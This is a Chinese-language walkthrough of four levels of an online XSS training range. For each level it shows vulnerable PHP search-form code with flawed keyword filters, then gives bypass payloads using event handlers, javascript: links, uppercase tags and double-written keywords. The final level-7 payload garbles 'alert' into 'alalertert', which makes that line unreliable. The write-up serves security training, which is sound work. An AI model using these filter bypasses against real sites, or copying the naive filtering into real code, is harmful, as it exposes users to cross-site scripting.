前言
本文不是CTF WP系列 所以文中提到的全部内容均为非CTF真题
文中使用的在线XSS靶场:传送门
感谢渊龙Sec团队提供靶场
正文
Level-4
核心代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
从GET
中keyword
键获取值并赋值给变量str
同样str
变量被包含在htmlspecialchars
方法中输出
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
第一次str_replace
方法将>
替换为空
然后将过滤后的变量进行第二次str_replace
方法处理 将<
替换为空
实际上我们不需要用到标签触发JS 这里考核的依然是事件触发器触发JS
Payload
" onclick=alert(123) //
Level-5
核心代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
从GET
中keyword
键获取值并赋值给变量str
$_GET["keyword"]
被strtolower
方法包裹
所有输入均被转为小写
同样str
变量被包含在htmlspecialchars
方法中输出
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
str_replace
方法第一次将<script
替换为 <scr_ipt
str_replace
方法第二次将on
替换为 o_n
这里是为了过滤事件触发器
实际上这里input
标签未被实体化方法包裹
我们只需要不使用<script>
标签以及事件触发器执行JS即可绕过
JS伪协议执行"> <a href="javascript:alert(123)">123</a>
Payload
"> <a href="javascript:alert(123)">123</a>
Level-6
核心代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
从GET
中keyword
键获取值并赋值给变量str
这次没有使用strtolower
方法
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
读者经过上文的实践应该已经能独立阅读这段过滤逻辑了
没有转成小写则直接全部大写标签即可绕过
Payload
"> <SCRIPT>alert(123)</SCRIPT>
浏览器对于标签的解析并不严格,全部大写依然可以正常解析执行
Level-7
核心代码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
核心过滤逻辑
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
这次的过滤相对完善,将值转为小写后过滤
但是实际上过完整个流程不会再循环过滤一遍,这里涉及到双写绕过
这里str_replace
方法会将字符串替换为空
假设我们的Payload是
"> <scscriptript>alert(123)</scscriptript>
将script
关键字替换为空后,左右边依然会组成一个新的script
,这便是绕过逻辑
Payload
"> <scscriptript>alalertert(123)</scscriptript>
暂无评论内容